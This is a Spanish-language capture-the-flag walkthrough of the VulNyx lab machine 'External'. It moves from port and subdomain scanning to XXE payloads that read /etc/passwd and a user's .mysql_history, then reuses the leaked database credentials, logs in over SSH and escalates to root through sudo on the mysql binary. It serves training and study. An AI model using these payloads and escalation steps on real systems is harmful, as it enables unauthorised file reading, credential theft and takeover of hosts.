VulNyx - External

logo

  • XXE File Read
  • Leakage Credentials
  • Abuse Mysql Binary

Escaneo de puertos.

❯ nmap -p- -v -T5 -n 192.168.1.112

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql

Escaneo de servicios.

❯ nmap -sVC -v -p 22,80,3306 192.168.1.112

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
|   256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_  256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: 404 Not Found
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.56 (Debian)
3306/tcp open  mysql   MySQL 5.5.5-10.5.19-MariaDB-0+deb11u2
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.5.19-MariaDB-0+deb11u2
|   Thread ID: 9
|   Capabilities flags: 63486
|   Some Capabilities: IgnoreSigpipes, ConnectWithDatabase, SupportsTransactions, IgnoreSpaceBeforeParenthesis, Support41Auth, Speaks41ProtocolOld, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, InteractiveClient, LongColumnFlag, SupportsCompression, SupportsLoadDataLocal, FoundRows, ODBCClient, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
|   Status: Autocommit
|   Salt: )t-#cM9sW;aUh-CJ(+<,
|_  Auth Plugin Name: mysql_native_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Puerto 80

http

En el código fuente encuentro el dominio ext.nyx.

domain

Hago una búsqueda de subdominios y encuentro administrator.

❯ wfuzz -t 200 -c --hw=24 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.ext.nyx" http://ext.nyx
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://ext.nyx/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                          
=====================================================================

000007602:   200        25 L     56 W       1089 Ch     "administrator"

Me voy al nuevo subdominio y veo un formulario de registro.

administrator-ext-nyx

Si intento registrarme con mi nick me dice que el usuario ya existe.

registro

Capturo la petición con Burpsuite y veo que los datos están publicados en formato xml.

burpSuite

Detecto la vulnerabilidad usando este recurso What are XML custom entities. Para ello he creado un archivo con el nombre vuln y le he añadido el siguiente código:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myentity "XXE VULNERABLE!"> ]>
<details>
<email>

&myentity;

</email>
<password>1234</password>
</details>

Mando la petición con curl y veo que es vulnerable a XXE.

❯ curl -X POST "http://administrator.ext.nyx/form.php" --upload-file "vuln"
<p align='center'> <font color=white size='5pt'> 

XXE VULNERABLE!

 is already registered! </font> </p>

Modifico el archivo vuln para que pueda leer el archivo passwd.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<details>
<email>

&xxe;
</email>
<password>1234</password>
</details>

Lanzo curl de nuevo, me muestra el archivo passwd y enumero el usuario admin.

❯ curl -X POST "http://administrator.ext.nyx/form.php" --upload-file "vuln"
<p align='center'> <font color=white size='5pt'> 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
admin:x:1000:1000:admin,,,:/home/admin:/bin/bash

 is already registered! </font> </p>

Finalmente modifico de nuevo el archivo vuln para que lea el archivo .mysql_history del usuario admin.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///home/admin/.mysql_history"> ]>
<details>
<email>

&xxe;
</email>
<password>1234</password>
</details>

Lanzo curl y obtengo las credenciales de acceso al servidor mysql.

❯ curl -X POST "http://administrator.ext.nyx/form.php" --upload-file "vuln"
<p align='center'> <font color=white size='5pt'> 

ALTER USER 'root'@'%' IDENTIFIED BY 'r*******DB';
exit;

 is already registered! </font> </p>

Me conecto al servidor mysql.

 mysql -h 192.168.1.112 -u root -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 7
Server version: 10.5.19-MariaDB-0+deb11u2 Debian 11

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

Enumero las bases de datos existentes.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| admindb            |
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0,005 sec)

Entro en admindb.

MariaDB [(none)]> use admindb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

Dentro de admindb hay la tabla credentials y dentro de credentials hay las credenciales del usuario admin.

MariaDB [admindb]> show tables;
+-------------------+
| Tables_in_admindb |
+-------------------+
| credentials       |
+-------------------+
1 row in set (0,001 sec)

MariaDB [admindb]> select * from credentials;
+------+-------+--------------------------+
| id   | user  | password                 |
+------+-------+--------------------------+
|    1 | admin | 4********************123 |
+------+-------+--------------------------+
1 row in set (0,008 sec)

Me conecto al sistema con las credenciales obtenidas.

❯ ssh admin@192.168.1.112
admin@192.168.1.112's password: 
Linux external 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64
admin@external:~$

Enumero permisos de sudo

admin@external:~$ sudo -l
Matching Defaults entries for admin on external:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User admin may run the following commands on external:
    (root) NOPASSWD: /usr/bin/mysql

Obtengo el root usando este recurso de gtfobins.

admin@external:~$ sudo mysql -e '\! /bin/bash'
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO)

Añado la flag -p e introduzco la contraseña del usuario root de la base de datos.

admin@external:~$ sudo mysql -e '\! /bin/bash' -p
Enter password: 
root@external:/home/admin# id
uid=0(root) gid=0(root) grupos=0(root)

Y con esto ya tenemos resuelta la máquina External.

Saludos!